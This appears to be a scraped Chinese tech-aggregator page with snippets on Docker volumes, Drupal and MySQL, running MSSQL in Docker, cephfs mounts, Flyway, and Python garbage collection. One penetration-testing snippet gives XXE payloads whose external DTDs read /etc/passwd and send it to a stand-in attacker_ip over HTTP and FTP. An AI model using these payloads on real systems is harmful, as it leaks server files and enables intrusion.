Docker

Why do some Docker images have no VOLUME defined?

醉酒当歌 提交于 2021-02-18 18:23:11
问题 I am just starting with Docker, please pardon me if my question is too silly for you. I see some images, like nginx , does not have any VOLUME defined whereas some images like mysql has VOLUME defined in their Dockerfile. How the data or files are managed when there is no volume defined, and what would be their working directory? 回答1: A preferred pattern for many applications you can run in a container is to store no state at all locally. If I have a Web application, and perhaps it takes a

Docker : Drupal container linked to mysql container can't connect to mysql during Drupal installation

妖精的绣舞 提交于 2021-02-18 18:14:15
问题 I'm fairly new to docker, and I've just been going through the CMS's to see how easy they are to configure. So far, Wordpress and Joomla check out. When I run the drupal container linked to mysql, I get to the drupal installation screen and where it says to connect the DB, and I use my root credentials and db host being 'localhost', and receive errors trying to connect. I've attached an image to show you the output.drupal-config-db-output-error The error I get : Failed to connect to your

在Docker上安装MSSQL(SQL Server)

别说谁变了你拦得住时间么 提交于 2021-02-18 18:09:37
在转移到Mac OS X 阵营之后,如果想在本机上安装微软的mssql-server数据库有三种方式: 第一种是在本机上安装 MSSQL for Linux 版本。 第二种是安装Windows虚拟机,然后在 虚拟机 里面使用ISO文件进行安装。 第三种也就是我要讲的方式,就是使用 Docker 进行安装。 第一种方式和第二种方式缺点就是要自己找安装包,第三种方式直接通过Docker的命令 docker search mssql 就能搜索出来,然后拉取创建容器即可。 微软也提供了相应的 帮助文档 镜像是微软官方的,但docker hub 奇怪的是并没有把其标示为OFFICIAL。 1.下载镜像 docker pull microsoft/mssql- server-linux 使用该命令就可以把数据库的docker镜像下载下来。 2.创建并运行容器 docker run --name MSSQL_1433 -m 512m -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=yourStrong(!)Password' -p 1433:1433 -d microsoft/mssql-server-linux 这个密码需要复杂密码,要有大小写和特殊符号,替换yourStrong(!)Password成你自己的密码就行。如果只Linux服务器,可以不用端口映射

docker 中挂载 cephfs

此生再无相见时 提交于 2021-02-18 17:51:54
在docker容器中,安装ceph。 docker run --privileged=true 方式运行容器 使用ceph-fuse在用户态挂载cephfs到ceph集群的Monitor即可。 docker run --privileged=true -it -v /home/ceph/cephfs ubuntu:ceph /usr/bin/ceph-fuse -k /home/ceph/ceph.client.admin.keyring -m 10.32.170.104:6789 /home/ceph/cephfs,即,将ceph客户端容器作为数据卷容器来使用。 来源: oschina 链接: https://my.oschina.net/u/1271640/blog/394041

使用docker部署SqlServer

荒凉一梦 提交于 2021-02-18 17:51:31
踩了很多坑,来记录一下 首先说sqlserver 1. 安装docker要使用centos 7以上版本,使用centos 6及以下版本会出现各种问题 2. docker CE安装过程 $ sudo yum install -y yum-utils device-mapper-persistent-data lvm2 $ sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo #建立仓库 $ sudo yum install docker-ce #安装docker $ sudo systemctl start docker #开启docker 3. 从 Docker Hub 中拉出 SQL Server 2017 Linux 容器映像 $ sudo docker pull microsoft/mssql-server-linux:2017-latest 4. 显示所有可用的镜像 $ docker images 5. 运行一个镜像(也就相当于使用已有的镜像创建一个实例) $ sudo docker run -e 'ACCEPT_EULA=Y' -e 'MSSQL_SA_PASSWORD=<YourStrong!Passw0rd>' -p 1401:1433 -v

使用Docker部署MSSQL

泪湿孤枕 提交于 2021-02-18 17:51:18
部署MSSQL需要2G内存 1.下载镜像 docker pull microsoft/mssql-server-linux 使用该命令就可以把数据库的docker镜像下载下来。 2.创建并运行容器 docker run --name MSSQL_1433 -m 512m -e ' ACCEPT_EULA=Y ' -e ' SA_PASSWORD=yourStrong(!)Password ' -p 1433 : 1433 -d microsoft/mssql-server-linux 这个密码需要复杂密码,要有大小写和特殊符号,替换yourStrong(!)Password成你自己的密码就行。如果只Linux服务器,可以不用端口映射,直接使用宿主模式 docker run --name MSSQL_1433 -m 512m -e ' ACCEPT_EULA=Y ' -e ' SA_PASSWORD=yourStrong(!)Password ' --net=host -d microsoft/mssql-server-linux 3.登入容器 docker exec -it MSSQL_1433 /bin/bash 4.连接到sqlcmd /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P ' yourStrong(!

docker 安装 sqlserver 数据库

自闭症网瘾萝莉.ら 提交于 2021-02-18 17:51:07
具备条件: 1.服务器需要大于2G内存。如果不够则可能无法正常启动,查看日志报如下错误: This program requires a machine with at least 2000 megabytes of memory 2、获取 sqlserver 镜像 $ docker pull mcr.microsoft.com/mssql/server:2017-latest 镜像下载成功后,运行镜像 $ docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=sa1122.?' -p 33061:1433 -v /opt/data/sqlserver/:/var/opt/mssql/data/ --name sqlserver -d mcr.microsoft.com/mssql/server:2017-latest 查看日志 2019 - 03 - 27 09 : 25 : 02.28 spid7s Converting database ' msdb ' from version 862 to the current version 869 . 2019 - 03 - 27 09 : 25 : 02.29 spid7s Database ' msdb ' running the upgrade step from version 862

How can I force flyway to clean my docker oracle database?

≯℡__Kan透↙ 提交于 2021-02-18 17:39:24
问题 I've downloaded the official oracle docker image for Oracle Database EE. I've got a flyway configuration and often run flyway:clean against the locally installed XE version of the database. However flyway tells me it is not allowed to clean the database in the docker image, but it can migrate it. Is there a way to force flyway to clean the oracle db? To answer the questions from the comments: Here's the error message when running flyway through maven: org.flywaydb.core.api.FlywayException:

渗透测试人员注意!这几个小TIPS能帮你

Deadly 提交于 2021-02-18 16:41:24
扫码领资料 获黑客教程 免费&进群 转乌云安全 这里 记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE

详细讲述python的垃圾回收机制(GC)

点点圈 提交于 2021-02-18 14:22:40
2019年即将过去,回顾2019,比较火的一句金语,你能想到啥?请看图 , 我想大家此刻的心情会是这样的 哈哈哈,借着这句金语,今天我给大家分享一下关于Python的垃圾回收机制,本着热爱分享的原则,还是囫囵吞枣地做下记录分享吧。.   首先还是做一下概述吧: 我们都知道, 在做python的语言编程中, 相较于java, c++, 我们似乎很少去考虑到去做垃圾回收,内存释放的工作, 其实是python内部已经做了相应的回收机制, 不用我们自己操心去做内存释放.但是还是有必要了解一下.可以更加深入的了解python这门优美的语言的魅力. 一、概述:   python的GC模块主要运用了“引用计数(reference counting)”来跟踪和回收垃圾。在引用计数的基础上,还可以通过标记清除(mark and sweep)解决容器( 这里的容器值指的不是docker,而是数组,字典,元组这样的对象 )对象可能产生的循环引用的问题。通过“分代回收(generation collection)”以空间换取时间来进一步提高垃圾回收的效率。 二、垃圾回收三种机制   1、引用计数   在Python中,大多数对象的生命周期都是通过对象的引用计数来管理的, 广义上讲,它也是一种垃圾回收机制,而且是一种最直观最简单的垃圾回收机制。   原理: 当一个对象被创建引用或者被复制的时候